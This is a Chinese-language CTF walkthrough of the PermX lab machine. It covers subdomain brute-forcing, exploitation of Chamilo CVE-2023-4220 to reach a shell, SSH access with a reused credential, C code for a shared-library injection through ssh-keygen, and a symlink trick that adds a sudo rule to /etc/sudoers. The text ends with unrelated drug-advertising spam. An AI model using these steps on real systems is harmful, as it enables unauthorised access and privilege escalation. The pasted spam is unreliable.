先nmap扫描发现22和80,访问80发现都是写静态页面,爆破子域名得到lms,命令为gobuster vhost -u permx.htb --append-domain -w test.txt -t 100
搜索Chamilo发现是CVE-2023-4220,直接可以写后门
然后弹shell出来。因为有登录的功能,所以有sql服务,在configuration.php找到密码
查看/etc/passwd发现有个mtz用户,尝试用sql的密码ssh连接,结果成功了,感觉设计的有点刻意。
本来想suid提权,找到ssh-keysign和这篇文章
#include <pkcs11-helper-1.0/pkcs11.h>
#include <stdio.h>
#include <stdlib.h>
// Ensure the function is visible in the shared library
CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) __attribute__((visibility("default")));
CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) {
char buffer[128];
FILE *fp;
// 使用 popen 函数执行 whoami 命令并获取输出
fp = popen("whoami", "r");
if (fp == NULL) {
perror("popen");
return 1;
}
// 读取命令的输出
while (fgets(buffer, sizeof(buffer), fp) != NULL) {
printf("Current user: %s", buffer);
}
// 关闭进程
if (pclose(fp) == -1) {
perror("pclose");
return 1;
}
// Implement your function logic here
return CKR_OK;
}
gcc -fPIC -shared -o 2.so 1.c -ldl
ssh-keygen -D ./2.so
script -c "ssh-keygen -D ./2.so" /dev/null
本地是能正常跑的
不过靶机上是www-data
后面才发现用的是ssh-keygen用的是/usr/bin/ssh-keygen,没suid权限的那个,有suid的没启用
sudo -l找到/opt/acl.sh
内容为更改文件权限,但限制了文件要在/home/mtz下
我们用软链接来绕过
给/etc/sudoers加上mtz ALL=(ALL:ALL) ALL即可
If you have any of the following health problems, consult your doctor or pharmacist before using this product diabetes, heart problems such as chest pain, heart attack, high blood pressure, overactive thyroid hyperthyroidism, difficult urination due to blockage for example, due to an enlarged prostate dapoxetine priligy
dapoxetine hydrochloride dose 4 天前